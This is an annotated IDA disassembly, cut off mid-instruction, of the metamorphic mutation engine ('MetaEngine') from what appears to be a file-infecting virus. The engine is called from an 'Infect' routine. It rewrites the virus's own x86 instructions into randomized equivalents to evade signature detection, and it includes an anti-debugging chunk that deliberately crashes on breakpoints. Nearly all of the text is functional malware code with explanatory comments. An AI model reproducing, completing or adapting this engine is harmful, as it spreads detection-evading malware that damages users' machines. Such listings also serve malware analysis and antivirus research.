; ; ___________________________________________________________________________ ; _ This file is generated by The Interactive Disassembler (IDA) _ ; _ Copyright (c) 2005 by DataRescue sa/nv, <[email protected]> _ ; ___________________________________________________________________________ ; ; ___________________________________________________________________________ ; START OF FUNCTION CHUNK FOR MetaEngine AntiDebug: ; CODE XREF: CODE:00401068j ; MetaEngine+1E9j cmp byte ptr [ebx+7], 0BFh ; are we in kernel mode? jnz short ret_AntiDebug mov ecx, 1000h ; counter = 1000h mov edi, 40000000h or edi, 80000000h add edi, ecx ; edi = C0001000h rep stosd ; copy bytes to edi ret_AntiDebug: ; CODE XREF: MetaEngine-17j retn ; return ; END OF FUNCTION CHUNK FOR MetaEngine ; this will result in a crash ; since this routine wasn't CALLed ; _______________ S U B R O U T I N E _______________________________________ ; Attributes: bp-based frame MetaEngine proc near ; CODE XREF: Infect+11Bp RelocStart = dword ptr -8 RelocCurrent = dword ptr -4 inBuf = dword ptr 8 sizeOfCode = dword ptr 0Ch outBuf = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi ; save registers push edi mov eax, [ebp+sizeOfCode] ; eax = size of code shl eax, 4 ; multiply by 16 push eax call callVirtualAlloc ; allocate memory mov [ebp+RelocStart], eax ; save pointer mov [ebp+RelocCurrent], eax mov esi, [ebp+inBuf] ; esi = *source buffer mov edi, [ebp+outBuf] ; edi = *destination buffer LoadInstruction: ; CODE XREF: MetaEngine+52j ; MetaEngine+ABj ... mov ebx, [ebp+RelocCurrent] add [ebp+RelocCurrent], 10h ; allocate 16 bytes for each instruction mov [ebx], esi ; set Pointer to Instruction in the Input Buffer mov [ebx+4], edi ; set Pointer to Mutated Instruction in Output Buffer xor eax, eax ; eax = 0 mov [ebx+8], eax ; set Pointer to offset of New Relative = 0 cmp esi, [ebp+inBuf] ; are we in the beginning of the code? jz isJccShort ; yes, start analyzing the code mov eax, esi ; eax = *current instruction sub eax, [ebp+inBuf] ; eax -= *start address cmp eax, [ebp+sizeOfCode] ; are we done? jnb FixRelocations mov al, [esi] ; al = opcode cmp al, 90h ; NOP? jnz short isPushR32 add esi, 1 ; increase counter (instruction not stored) jmp short LoadInstruction ; load next instruction ; ___________________________________________________________________________ isPushR32: ; CODE XREF: MetaEngine+4Dj mov cl, [edi-1] ; cl = last written byte cmp cl, 50h ; PUSH EAX? jb isJccShort cmp cl, 52h ; PUSH EAX/ECX/EDX? ja isJccShort mov eax, [ebx] ; eax = [ebx] = [[DisasmCurrent]] sub eax, [ebx-10h] ; eax -= [[DisasmCurrent]-16] cmp eax, 1 ; was it only a 1-byte instruction? jnz isJccShort ; no, disasm next instruction call Rnd7 ; returns random eax (0 to 7) jnz isJccShort ; mutate? sub cl, 50h ; get the register used MutatePush: ; CODE XREF: MetaEngine+D0j ; MetaEngine+EAj call Random ; get random number and al, 3 ; make it between 0 - 3 cmp al, 1 ; al = 1? jz short MakeMovRegRandom32 cmp al, 2 ; al = 2? jz short MakeOpRegRandomReg cmp al, 3 ; al = 3? jz short MakeMovRegRandom8 mov al, 8Bh ; al = MOV r32, r/m32 stosb ; store mov al, cl ; al = register rol al, 3 ; place it in the [reg/opcode] field or al, 1000101b ; set [mod] = 01, [reg] = 101 (ebp) stosb ; store call Random ; get random number and al, 3Ch ; make it between 0 to 3C stosb ; store jmp LoadInstruction ; ___________________________________________________________________________ MakeMovRegRandom32: ; CODE XREF: MetaEngine+8Ej mov al, cl ; al = register add al, 0B8h ; MOV r32,imm32 stosb ; store call GetRandomDword ; get random dword stosd ; store dword jmp LoadInstruction ; ___________________________________________________________________________ MakeOpRegRandomReg: ; CODE XREF: MetaEngine+92j call Random ; get random number mov ah, al ; save it in ah or ah, 11000000b ; set [mod] = 11 and ah, 11111000b ; clear [reg] field cmp ah, 11111000b ; is [reg/opcode] == 111 (CMP)? jz short MutatePush ; try another mutation mov al, 81h ; al = OP r/m32, imm32 ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR) stosb ; store mov al, ah ; al = random ModRM add al, cl ; add register stosb ; store call GetRandomDword ; get random dword stosd ; store dword jmp LoadInstruction ; ___________________________________________________________________________ MakeMovRegRandom8: ; CODE XREF: MetaEngine+96j mov al, [edi-1] ; al = last written opcode cmp al, 54h ; PUSH ESP/EBP/ESI/EDI? jnb short MutatePush ; avoid call Random ; get random number and al, 100b ; make it 0 to 4 add al, cl ; add register add al, 0B0h ; al = MOV r8, imm8 stosb ; store call Random ; get random byte stosb ; store jmp LoadInstruction ; ___________________________________________________________________________ isJccShort: ; CODE XREF: MetaEngine+35j ; MetaEngine+5Aj ... mov al, [esi] ; al = opcode cmp al, 70h ; is it a Jcc? jb short isBranchShort cmp al, 80h ; if it's between 70h to 7Fh, it is a Jcc jb short ModifyJcc cmp al, 0EBh ; is it a JMP short? jnz short isBranchShort mov al, 0E9h ; Generate a JMP near jmp short ModifyJccAddress ; ___________________________________________________________________________ ModifyJcc: ; CODE XREF: MetaEngine+10Bj mov byte ptr [edi], 0Fh ; set 0F opcode add al, 10h ; add 10h ; (70 xx = JO short xx) ; (0F 80 xx = JO near xx) add edi, 1 ; increase output counter ModifyJccAddress: ; CODE XREF: MetaEngine+113j stosb ; store mov [ebx+8], edi ; save edi in the OffsetNewRelative field mov al, [esi+1] ; al = relative address add al, 2 ; al += 2, because we added two bytes call InvertSign mov [ebx+0Ch], eax ; save eax in the NewRelative field add esi, 2 ; increase code pointer by 2 add edi, 4 ; increase output pointer by 4 (dword) jmp LoadInstruction ; ___________________________________________________________________________ isBranchShort: ; CODE XREF: MetaEngine+107j ; MetaEngine+10Fj cmp al, 0E8h ; a CALL short? jz short ModifyBranchAddress cmp al, 0E9h ; a JMP short? jz short ModifyBranchAddress cmp al, 0Fh ; a special opcode 0F? jnz short isEspUsed mov cl, [esi+1] ; get next byte cmp cl, 80h ; Jcc near? jb AbortEngine ; is it between 80h and 90h? cmp cl, 90h ; The engine doesn't support 0F xx instructions jnb AbortEngine stosb ; store 0F opcode add esi, 1 ; increase code pointer mov al, cl ; al = second opcode ModifyBranchAddress: ; CODE XREF: MetaEngine+13Bj ; MetaEngine+13Fj stosb ; save branch type mov [ebx+8], edi ; save edi in the OffsetNewRelative field add esi, 1 ; increase code pointer lodsd ; load the address add eax, 4 ; eax += 4 sub eax, [ebx+4] ; get OutputIP add eax, edi ; add OutputBuffer mov [ebx+0Ch], eax ; save eax in the NewRelative field add edi, 4 ; increase output pointer by 4 (dword) jmp LoadInstruction ; ___________________________________________________________________________ isEspUsed: ; CODE XREF: MetaEngine+143j cmp al, 81h ; OP r/m32, imm32? ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR) jnz short isRet_isC0_is83 mov ah, [esi+1] ; ah = ModRM cmp ah, 0C4h ; ADD ESP, imm32? jz short Store6Bytes ; avoid cmp ah, 0ECh ; SUB ESP, imm32? jnz short isRet_isC0_is83 ; avoid Store6Bytes: ; CODE XREF: MetaEngine+185j mov cl, 6 jmp StoreBytes ; ___________________________________________________________________________ isRet_isC0_is83: ; CODE XREF: MetaEngine+17Dj ; MetaEngine+18Aj cmp al, 0C3h ; RET? jnb short isD0_D4 cmp al, 0C0h ; OP r/m8, imm8? ; (RCL/RCR/ROL/ROR/SAL/SAR/SHL/SHR) jnb short Store3Bytes cmp al, 83h ; OP r/m32, imm8? ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR) jnz short isD0_D4 mov ah, [esi+1] ; ah = ModRM cmp ah, 0C4h ; ADD ESP, imm8? jz short Store3Bytes ; avoid cmp ah, 0ECh ; SUB ESP, imm8? jnz short isD0_D4 ; avoid Store3Bytes: ; CODE XREF: MetaEngine+199j ; MetaEngine+1A5j mov cl, 3 jmp StoreBytes ; ___________________________________________________________________________ isD0_D4: ; CODE XREF: MetaEngine+195j ; MetaEngine+19Dj ... cmp al, 0D0h ; OP r/m8, imm8? ; (RCL/RCR/ROL/ROR/SAL/SAR/SHL/SHR) jb short isInt_isMovEbpEsp cmp al, 0D4h ; D0 - D3 jb short Store2Bytes ; avoid isInt_isMovEbpEsp: ; CODE XREF: MetaEngine+1B5j cmp al, 0CDh ; INT? jz short Store2Bytes ; avoid cmp al, 8Bh ; MOV r32, r/m32? jnz short isRep_isF6_isF7 cmp byte ptr [esi+1], 0ECh ; 8B EC = MOV EBP, ESP jz short CheckRegOpcodeField isRep_isF6_isF7: ; CODE XREF: MetaEngine+1C1j cmp al, 0F3h ; REP prefix? jz short Store2Bytes ; avoid cmp al, 0F6h ; OP r/m8? ; (DIV/IDIV/IMUL/MUL/NEG/NOT/TEST) jz short CheckRegOpcodeField cmp al, 0F7h ; OP r/m32? ; (DIV/IDIV/IMUL/MUL/NEG/NOT/TEST) jnz short isInt3_Ret_PushReg CheckRegOpcodeField: ; CODE XREF: MetaEngine+1C7j ; MetaEngine+1CFj mov ah, [esi+1] ; ah = ModRM and ah, 111000b ; save [reg/opcode] field cmp ah, 0 ; is it empty? jz short isInt3_Ret_PushReg ; yes, skip Store2Bytes: ; CODE XREF: MetaEngine+1B9j ; MetaEngine+1BDj ... mov cl, 2 jmp StoreBytes ; ___________________________________________________________________________ isInt3_Ret_PushReg: ; CODE XREF: MetaEngine+1D3j ; MetaEngine+1DEj cmp al, 0CCh ; INT 3? jz AntiDebug cmp al, 0C3h ; RET? jz short StoreOneByteOpcode cmp al, 50h ; PUSH r32 / POP r32? jb short isMovTestRmReg cmp al, 60h ; check if it's between 50 to 60 jnb short isMovTestRmReg StoreOneByteOpcode: ; CODE XREF: MetaEngine+1F1j movsb ; copy one byte from source to destination jmp LoadInstruction ; ___________________________________________________________________________ isMovTestRmReg: ; CODE XREF: MetaEngine+1F5j ; MetaEngine+1F9j cmp al, 88h ; MOV r/m8, r8? jz short Mutate? cmp al, 89h ; MOV r/m32, r32? jz short Mutate? cmp al, 84h ; TEST r/m8, r8? jz short Mutate? cmp al, 85h ; TEST r/m32, r32? jz short Mutate? cmp al, 40h ; is opcode < 40? jnb short isMovLeaRegRm mov ah, al ; ah = opcode and ah, 111b ; save last 3 bits cmp ah, 0 ; OP r/m8, r8 jz short Mutate? cmp ah, 1 ; OP r/m32, r32? jnz short isMovLeaRegRm Mutate?: ; CODE XREF: MetaEngine+203j ; MetaEngine+207j ... call Rnd7 ; returns random eax (0 to 7) jz short CheckModRM ; mutate if eax = 0 (1/8 probability) jmp StoreDisplacementPlus2 ; else, skip this instruction ; ___________________________________________________________________________ CheckModRM: ; CODE XREF: MetaEngine+229j mov cl, [esi+1] ; cl = ModRM and cl, 11000000b ; save the [mod] field cmp cl, 0 ; [mod] == 00? jz short jmp_Mutate cmp cl, 11000000b ; [mod] == 11? jz short jmp_Mutate call Random ; get random number and al, 1 ; make it 0 or 1 cmp al, 0 ; is it 0? jz Morph1 ; mutate jmp_Mutate: ; CODE XREF: MetaEngine+239j ; MetaEngine+23Ej jmp Morph2 ; mutate ; ___________________________________________________________________________ isMovLeaRegRm: ; CODE XREF: MetaEngine+213j ; MetaEngine+222j cmp al, 8Ah ; MOV r8, r/m8? jz short _Mutate? cmp al, 8Bh ; MOV r32, r/m32? jz short _Mutate? cmp al, 8Dh ; LEA r32, mem? jz short _Mutate? cmp al, 40h ; is opcode < 40? jnb short isFE_isFF mov ah, al and ah, 111b ; keep last 3 bits cmp ah, 2 ; OP r8, r/m8? jz short _Mutate? cmp ah, 3 ; OP r32, r/m32? jnz short isFE_isFF _Mutate?: ; CODE XREF: MetaEngine+256j ; MetaEngine+25Aj ... call Rnd7 ; returns random eax (0 to 7) jz short _CheckModRM ; mutate if eax = 0 (1/8 probability) jmp StoreDisplacementPlus2 ; else, skip this instruction ; ___________________________________________________________________________ _CheckModRM: ; CODE XREF: MetaEngine+278j mov cl, [esi+1] ; cl = ModRM and cl, 11000000b ; save the [mod] field cmp cl, 0 ; [mod] == 00? jz short _jmp_Mutate cmp cl, 11000000b ; [mod] == 11? jz short _jmp_Mutate call Random ; get random number and al, 1 ; make it 1 or 0 cmp al, 0 ; is it zero? jz Morph1 ; mutate _jmp_Mutate: ; CODE XREF: MetaEngine+288j ; MetaEngine+28Dj jmp Morph3 ; mutate ; ___________________________________________________________________________ isFE_isFF: ; CODE XREF: MetaEngine+262j ; MetaEngine+271j cmp al, 0FEh ; INC/DEC r/m8? jz short MakeMovRegPushReg cmp al, 0FFh ; OP r/m32? ; (INC/DEC/JMP/CALL/PUSH) jnz short isMovReg8Imm8? MakeMovRegPushReg: ; CODE XREF: MetaEngine+2A5j mov al, [esi+1] ; al = ModRM and al, 111000b ; keep the [reg/opcode] field ror al, 3 ; place it in the [reg] field cmp al, 111b ; opcode == 111? jz AbortEngine ; exit engine cmp al, 110b ; opcode != 110 (PUSH)? jnz StoreDisplacementPlus2 ; skip mov al, 8Bh ; Generate MOV EAX, r/m32 stosb ; store mov al, [esi+1] ; al = ModRM and al, 11000111b ; keep [mod] and [reg] fields ; set [reg/opcode] = 000 stosb ; store ModRM byte call CheckDisplacement ; returns cl: 0, 1 or 4 add esi, 2 ; increase code counter by 2 rep movsb ; store address mov al, 50h ; Generate PUSH EAX stosb ; store jmp LoadInstruction ; ___________________________________________________________________________ isMovReg8Imm8?: ; CODE XREF: MetaEngine+2A9j cmp al, 0B0h ; MOV r8, imm8? jb short isMovReg32Imm32 cmp al, 0B8h ; check if it's between B0 to B8 jnb short isMovReg32Imm32 call Rnd7 ; returns random eax (0 to 7) jz short MakeAddRegRandom8 ; mutate? mov cl, 2 ; skip jmp StoreBytes ; ___________________________________________________________________________ MakeAddRegRandom8: ; CODE XREF: MetaEngine+2EBj ; MetaEngine+2FBj call Random ; get random and al, 11b ; make it between 1 - 3 jz short MakeAddRegRandom8 ; if it's zero, try again mov dh, al ; dh = random selection movsb ; store opcode call Random ; get random number mov cl, al ; save it in CL stosb ; store random byte mov al, 80h ; al = ADC/ADD/AND/CMP/OR/SBB/SUB/XOR stosb ; store operation mov al, [esi-1] ; get original instruction opcode sub al, 0B0h ; subtract opcode, al = register used cmp dh, 2 ; if random == 2, Generate SUB jz short MakeSubRegRandom8 cmp dh, 3 ; if random == 3, Generate XOR jz short MakeXorRegRandom8 or al, 11000000b ; Generate ADD (ModRM = 11 000 reg) stosb ; store ModRM lodsb ; load the original immediate value sub al, cl ; subtract the random value stosb ; store jmp LoadInstruction ; ___________________________________________________________________________ MakeSubRegRandom8: ; CODE XREF: MetaEngine+313j or al, 11101000b ; Generate SUB (ModRM = 11 101 reg) stosb ; store ModRM lodsb ; load the original immediate value sub al, cl ; al -= random value mov ah, al ; save al in ah mov al, 0 sub al, ah ; al = -al stosb ; store jmp LoadInstruction ; ___________________________________________________________________________ MakeXorRegRandom8: ; CODE XREF: MetaEngine+318j or al, 11110000b ; Generate XOR (ModRM = 11 110 reg) stosb ; store ModRM lodsb ; load the original immediate value xor al, cl ; xor the value with a random value stosb ; store jmp LoadInstruction ; ___________________________________________________________________________ isMovReg32Imm32: ; CODE XREF: MetaEngine+2E0j ; MetaEngine+2E4j cmp al, 0B8h ; MOV r32, imm32? jb short MakeMovPush1 cmp al, 0C0h ; check if it's between B8 - C0 jnb short MakeMovPush1 call Rnd7 ; returns random eax (0 to 7) jz short MakeAddRegRandom32 ; mutate? mov cl, 5 ; skip jmp StoreBytes ; ___________________________________________________________________________ MakeAddRegRandom32: ; CODE XREF: MetaEngine+351j ; MetaEngine+363j call Random ; get random number and al, 11b ; make it between 1 - 3 cmp al, 0 ; if it's zero, jz short MakeAddRegRandom32 ; then try again mov ah, al ; ah = random selection movsb ; store opcode call GetRandomDword ; returns a random dword in EAX mov ecx, eax ; ecx = random dword stosd ; store random dword mov al, 81h ; al = ADC/ADD/AND/CMP/OR/SBB/SUB/XOR stosb ; store operation mov al, [esi-1] ; get original instruction opcode sub al, 0B8h ; get the register used cmp al, 2 ; if random == 2, Generate SUB jz short MakeSubRegRandom32 cmp al, 3 ; if random == 3, Generate XOR jz short MakeXorRegRandom32 or al, 11000000b ; Generate ADD (ModRM = 11 000 reg) stosb ; store ModRM lodsd ; load the original immediate value sub eax, ecx ; subtract the random value stosd ; store jmp LoadInstruction ; ___________________________________________________________________________ MakeSubRegRandom32: ; CODE XREF: MetaEngine+37Aj or al, 11101000b ; Generate SUB (ModRM = 11 101 reg) stosb ; store ModRM lodsd ; load the original immediate value sub eax, ecx ; eax -= random mov ecx, eax ; save eax mov eax, 0 sub eax, ecx ; eax = -eax stosd ; store jmp LoadInstruction ; ___________________________________________________________________________ MakeXorRegRandom32: ; CODE XREF: MetaEngine+37Ej or al, 11110000b ; Generate XOR (ModRM = 11 110 reg) stosb ; store ModRM lodsd ; load the original immediate value xor eax, ecx ; xor the value with a random value stosd ; store jmp LoadInstruction ; ___________________________________________________________________________ MakeMovPush1: ; CODE XREF: MetaEngine+346j ; MetaEngine+34Aj cmp al, 68h ; PUSH imm32? jnz short MakeMovPush2 add esi, 1 ; increase code pointer mov al, 0B8h ; Generate MOV r32, imm32 stosb ; store movsd ; write next 4 bytes mov al, 50h ; Generate PUSH r32 stosb ; store jmp LoadInstruction ; ___________________________________________________________________________ MakeMovPush2: ; CODE XREF: MetaEngine+3AFj cmp al, 6Ah ; PUSH imm8? jnz short MakeMOVSB add esi, 1 ; increase code pointer mov al, 0B8h ; make MOV r32, imm32 stosb ; store lodsb ; load byte (imm8) call InvertSign stosd ; store dword (imm32) mov al, 50h ; make PUSH r32 stosb ; store jmp LoadInstruction ; ___________________________________________________________________________ MakeMOVSB: ; CODE XREF: MetaEngine+3C2j cmp al, 0A4h ; MOVSB? jnz short MakeMOVSD add esi, 1 ; Replace A4 with the following sequence: mov eax, 83068A50h ; 50 push eax stosd ; 8A 06 mov al, [esi] mov eax, 78801C6h ; 83 C6 01 add esi, 1 stosd ; 88 07 mov [edi], al mov eax, 5801C783h ; 83 C7 01 add edi, 1 stosd ; 58 pop eax jmp LoadInstruction ; ___________________________________________________________________________ MakeMOVSD: ; CODE XREF: MetaEngine+3DBj cmp al, 0A5h ; MOVSD? jnz short MakeSTOSB add esi, 1 ; Replace A5 with the following sequence: mov eax, 83068B50h ; 50 push eax stosd ; 8B 06 mov eax, [esi] mov eax, 78904C6h ; 83 C6 04 add esi, 4 stosd ; 89 07 mov [edi], eax mov eax, 5804C783h ; 83 C7 04 add edi, 4 stosd ; 58 pop eax jmp LoadInstruction ; ___________________________________________________________________________ MakeSTOSB: ; CODE XREF: MetaEngine+3F9j cmp al, 0AAh ; STOSB? jnz short MakeSTOSD add esi, 1 ; Replace AA with the following sequence: mov eax, 0C7830788h ; 88 07 mov [edi], al stosd ; 83 C7 01 add edi, 1 mov al, 1 stosb jmp LoadInstruction ; ___________________________________________________________________________ MakeSTOSD: ; CODE XREF: MetaEngine+417j cmp al, 0ABh ; STOSD? jnz short MakeLODSB add esi, 1 ; Replace AB with the following sequence: mov eax, 0C7830789h ; 88 07 mov [edi], eax stosd ; 83 C7 04 add edi, 4 mov al, 4 stosb jmp LoadInstruction ; ___________________________________________________________________________ MakeLODSB: ; CODE XREF: MetaEngine+42Cj cmp al, 0ACh ; LODSB? jnz short MakeLODSD add esi, 1 ; Replace AC with the following sequence: mov eax, 0C683068Ah ; 8A 06 mov al, [esi] stosd ; 83 C6 01 add esi, 1 mov al, 1 stosb jmp LoadInstruction ; ___________________________________________________________________________ MakeLODSD: ; CODE XREF: MetaEngine+441j cmp al, 0ADh ; LODSD? jnz short MakeOpRm8Imm8 add esi, 1 ; Replace AD with the following sequence: mov eax, 0C683068Bh ; 8B 06 mov eax, [esi] stosd ; 83 C6 04 add esi, 4 mov al, 4 stosb jmp LoadInstruction ; ___________________________________________________________________________ MakeOpRm8Imm8: ; CODE XREF: MetaEngine+456j cmp al, 40h ; opcode < 40? jnb short MakeTestImm8 mov ah, al and ah, 111b ; save last 3 bits cmp ah, 4 ; OP AL, imm8? jnz short MakeOpEaxImm32 mov al, 80h ; Generate OP r/m8, imm8 ; ADC/ADD/AND/CMP/OR/SBB/SUB/XOR stosb mov al, [esi] ; load the same instruction again and al, 111000b ; keep the [reg/opcode] field or al, 11000000b ; set [mod] = 11 stosb ; store add esi, 1 ; increase code pointer movsb ; copy imm8 byte jmp LoadInstruction ; ___________________________________________________________________________ MakeTestImm8: ; CODE XREF: MetaEngine+46Bj cmp al, 0A8h ; TEST AL, imm8? jnz short MakeOpEaxImm32 add esi, 1 ; incrase code pointer by 1 mov al, 0F6h ; Replace A8 with the following sequence: stosb ; F6 C0 xx test al, xx mov al, 0C0h stosb movsb ; load and store immediate byte jmp LoadInstruction ; ___________________________________________________________________________ MakeOpEaxImm32: ; CODE XREF: MetaEngine+475j ; MetaEngine+48Cj cmp al, 40h ; opcode < 40? jnb short MakeTestEaxImm32 mov ah, al ; ah = opcode and ah, 111b ; save last 3 bits cmp ah, 5 ; OP EAX, imm32? jnz short isOp8Imm8 mov al, 81h ; Generate OP r/m32, imm32 ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR) stosb ; store mov al, [esi] ; al = current opcode and al, 111000b ; keep the [opcode] field or al, 11000000b ; set [mod] = 11 stosb ; store ModRM byte add esi, 1 ; increase code pointer movsd ; copy immediate dword jmp LoadInstruction ; ___________________________________________________________________________ MakeTestEaxImm32: ; CODE XREF: MetaEngine+49Fj cmp al, 0A9h ; TEST EAX, imm32? jnz short isOp8Imm8 add esi, 1 ; Replace A8 with the following sequence: mov al, 0F7h ; F6 0C DD CC BB AA test eax, AABBCCDDh stosb mov al, 0C0h stosb movsd ; load and store immediate dword jmp LoadInstruction ; ___________________________________________________________________________ isOp8Imm8: ; CODE XREF: MetaEngine+4A9j ; MetaEngine+4C0j mov ah, al and ah, 11111110b ; save all bits, but the 'w' bit cmp ah, 80h ; OP r/m8,imm8? ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR) jz short SaveOpcodeField cmp ah, 0C6h ; MOV r/m8, imm8? jz short SaveMovImm8Opcode cmp ah, 0F6h ; OP r/m8? ; (DIV/IDIV/IMUL/MUL/NEG/NOT/TEST) jnz short Change8bitTo32bit mov bh, 84h ; bh = TEST r/m8, r8 jmp short __jmp_Mutate ; ___________________________________________________________________________ SaveOpcodeField: ; CODE XREF: MetaEngine+4D9j mov bh, [esi+1] ; bh = ModRM of 80h and bh, 111000b ; save [reg/opcode] field jmp short __jmp_Mutate ; mutate ; ___________________________________________________________________________ SaveMovImm8Opcode: ; CODE XREF: MetaEngine+4DEj mov bh, 88h ; bh = MOV r/m8, r8 __jmp_Mutate: ; CODE XREF: MetaEngine+4E7j ; MetaEngine+4EFj jmp Morph4 ; mutate ; ___________________________________________________________________________ Change8bitTo32bit: ; CODE XREF: MetaEngine+4E3j cmp al, 83h ; OP r/m32, imm8? ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR) jnz short AbortEngine mov al, 81h ; OP r/m32, imm32 stosb ; store mov al, [esi+1] ; al = ModRM stosb ; store call CheckDisplacement ; returns cl: 0, 1 or 4 add esi, 2 ; increase code pointer by 2 rep movsb ; copy displacement lodsb ; load one byte call InvertSign stosd ; store dword jmp LoadInstruction ; ___________________________________________________________________________ FixRelocations: ; CODE XREF: MetaEngine+43j mov ebx, edi sub ebx, [ebp+outBuf] ; ebx = size of output buffer mov esi, [ebp+RelocStart] ; esi = beginning of relocation table AnalyzeCurrentEntry: ; CODE XREF: MetaEngine+52Fj ; MetaEngine+555j add esi, 10h ; esi += 16 cmp esi, [ebp+RelocCurrent] ; are we finished? jz short ReturnSuccess mov edi, [esi+8] ; Pointer to offset of New Relative cmp edi, 0 ; is it blank? jz short AnalyzeCurrentEntry ; process next instruction mov edx, [esi+0Ch] ; get New Relative Value add edx, [esi] ; edx = InputIP + NewRelative mov ecx, [ebp+RelocStart] ; ecx = pointer to disassembled code sub ecx, 10h ; ecx -= 16 (for inter-loop reasons) NextEntry: ; CODE XREF: MetaEngine+54Aj add ecx, 10h ; check next entry cmp ecx, [ebp+RelocCurrent] ; are we done? jnz short LoopOverFirstEntry ; no, proceed to loop over 1st field entries mov ecx, [esi] ; Save the InputIP jmp short ReturnZero ; ___________________________________________________________________________ LoopOverFirstEntry: ; CODE XREF: MetaEngine+542j cmp [ecx], edx ; edx = InputIP + NewRelative ; *ecx = InputIP jnz short NextEntry mov eax, [ecx+4] ; eax = OutputIP sub eax, edi ; eax = OutputIP - ; OffsetNewNewRelative sub eax, 4 ; eax -= 4, due to earlier calculations stosd ; store NewRelative in OffsetNewRelative jmp short AnalyzeCurrentEntry ; ___________________________________________________________________________ ReturnSuccess: ; CODE XREF: MetaEngine+527j mov eax, ebx ; eax = size of buffer jmp short FreeMemory ; ___________________________________________________________________________ AbortEngine: ; CODE XREF: MetaEngine+14Bj ; MetaEngine+154j ... mov ecx, esi ; ecx = pointer to code ReturnZero: ; CODE XREF: MetaEngine+546j xor eax, eax ; eax = 0 FreeMemory: ; CODE XREF: MetaEngine+559j push eax ; save return value mov eax, [ebp+RelocStart] ; eax = start of disassembly buffer push eax call callVirtualFree ; free memory pop eax ; restore return value pop edi pop esi ; restore registers pop ebx add esp, 8 pop ebp nop retn 0Ch MetaEngine endp ; _______________ S U B R O U T I N E _______________________________________ ; returns random eax (0 to 7) Rnd7 proc near ; CODE XREF: MetaEngine+77p ; MetaEngine:Mutate?p ... call Random and eax, 111b cmp eax, 0 retn Rnd7 endp ; ___________________________________________________________________________ ; START OF FUNCTION CHUNK FOR MetaEngine StoreDisplacementPlus2: ; CODE XREF: MetaEngine+22Bj ; MetaEngine+27Aj ... call CheckDisplacement ; returns cl: 0, 1 or 4 add cl, 2 ; 2 more bytes StoreBytes: ; CODE XREF: MetaEngine+18Ej ; MetaEngine+1AEj ... and ecx, 0FFh ; and the cl bits rep movsb ; write until cl = 0 jmp LoadInstruction ; END OF FUNCTION CHUNK FOR MetaEngine ; _______________ S U B R O U T I N E _______________________________________ ; returns cl: 0, 1 or 4 CheckDisplacement proc near ; CODE XREF: MetaEngine+2CCp ; MetaEngine+503p ... xor ecx, ecx ; ecx = 0 mov cl, [esi+1] ; cl = ModRM and cl, 11000000b cmp cl, 0 ; [mod] == 00? jz short ret_CheckDisplacement cmp cl, 11000000b ; [mod] == 11? jnz short isMod01 mov cl, 0 ; no displacement jmp short ret_CheckDisplacement ; ___________________________________________________________________________ isMod01: ; CODE XREF: CheckDisplacement+10j cmp cl, 1000000b ; [mod] == 01? jnz short Mod10 mov cl, 1 ; 1 byte displacement jmp short ret_CheckDisplacement ; ___________________________________________________________________________ Mod10: ; CODE XREF: CheckDisplacement+19j mov cl, 4 ; 4 bytes displacement ret_CheckDisplacement: ; CODE XREF: CheckDisplacement+Bj ; CheckDisplacement+14j ... retn CheckDisplacement endp ; _______________ S U B R O U T I N E _______________________________________ InvertSign proc near ; CODE XREF: MetaEngine+126p ; MetaEngine+3CBp ... push ecx xor ecx, ecx ; ecx = 0 cmp al, 0 jns short DontInvert sub ecx, 1 DontInvert: ; CODE XREF: InvertSign+5j mov cl, al mov eax, ecx ; return value in eax pop ecx retn InvertSign endp ; _______________ S U B R O U T I N E _______________________________________ ; returns a random dword in EAX ; Attributes: bp-based frame GetRandomDword proc near ; CODE XREF: MetaEngine+B5p ; MetaEngine+DAp ... push ebp mov ebp, esp push ecx push edx call Random mov edx, eax call Random and al, 11111b mov cl, al mov eax, 0FFFFFF00h rol eax, cl and edx, eax call Random and al, 11111b mov cl, al mov eax, 0FFFFFF00h rol eax, cl and edx, eax mov eax, edx pop edx pop ecx pop ebp retn GetRandomDword endp ; ___________________________________________________________________________ ; START OF FUNCTION CHUNK FOR MetaEngine Morph1: ; CODE XREF: MetaEngine+249j ; MetaEngine+298j mov bh, 0 ; if bh == 0, choose random reg call GetWBit ; dl = *esi & 1 call GetRandomReg32 add al, 50h ; Generate PUSH RandomReg stosb ; store mov al, 89h ; Generate MOV r/m32, r32 stosb ; store mov al, [esi+1] ; al = original ModRM and al, 111b ; save last 3 bits rol al, 3 ; place original register in the [reg/opcode] field or al, 11000000b ; set [mod] = 11 add al, bl ; set [reg] field = radnom register stosb ; store mov al, [esi+1] ; al = original ModRM and al, 10000000b cmp al, 0 ; if [mod] != 0 jnz short GenAddRandomReg32 mov cl, [esi+2] ; cl = imm8 mov al, 83h ; al = OP r/m32, imm8 ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR) stosb ; store mov al, bl ; al = random reg or al, 11000000b ; set [mod] = 11, [reg/opcode] = ADD cmp cl, 0 ; check the sign of CL js short GenSubRandomReg8 stosb ; store call Random ; get random number and al, 7Fh ; set it between 0 - 7F stosb ; store sub cl, al ; cl -= radnom jmp short GenOpRegRandomReg8 ; ___________________________________________________________________________ GenSubRandomReg8: ; CODE XREF: MetaEngine+633j or al, 101000b ; set [reg/opcode] field = 101 (SUB) stosb ; store call Random ; get random number and al, 7Fh ; set it between 0 - 7F stosb ; store add cl, al ; cl += random GenOpRegRandomReg8: ; CODE XREF: MetaEngine+640j movsb ; copy original opcode byte lodsb ; al = ModRM and al, 11111000b ; save [mod] and [reg/opcode] fields add al, bl ; add random register stosb ; store mov al, cl ; al = random number stosb ; store add esi, 1 ; increase code counter jmp short GenPopRandomReg ; ___________________________________________________________________________ GenAddRandomReg32: ; CODE XREF: MetaEngine+624j mov ecx, [esi+2] ; ecx = imm32 mov al, 81h ; al = OP r/m32, imm32 ; (ADC/ADD/AND/CMP/OR/SBB/SUB/XOR) stosb ; store mov al, bl ; al = random register or al, 11000000b ; set [mod] = 11, [reg/opcode] = ADD cmp ecx, 0 ; check sign of imm32 js short GenSubRandomReg32 stosb ; store call Random ; get random number and eax, 7FFh ; set it between 0 - 77F stosd ; store dword sub ecx, eax ; ecx -= random jmp short GenOpRegRandomReg32 ; ___________________________________________________________________________ GenSubRandomReg32: ; CODE XREF: MetaEngine+66Bj or al, 101000b ; set 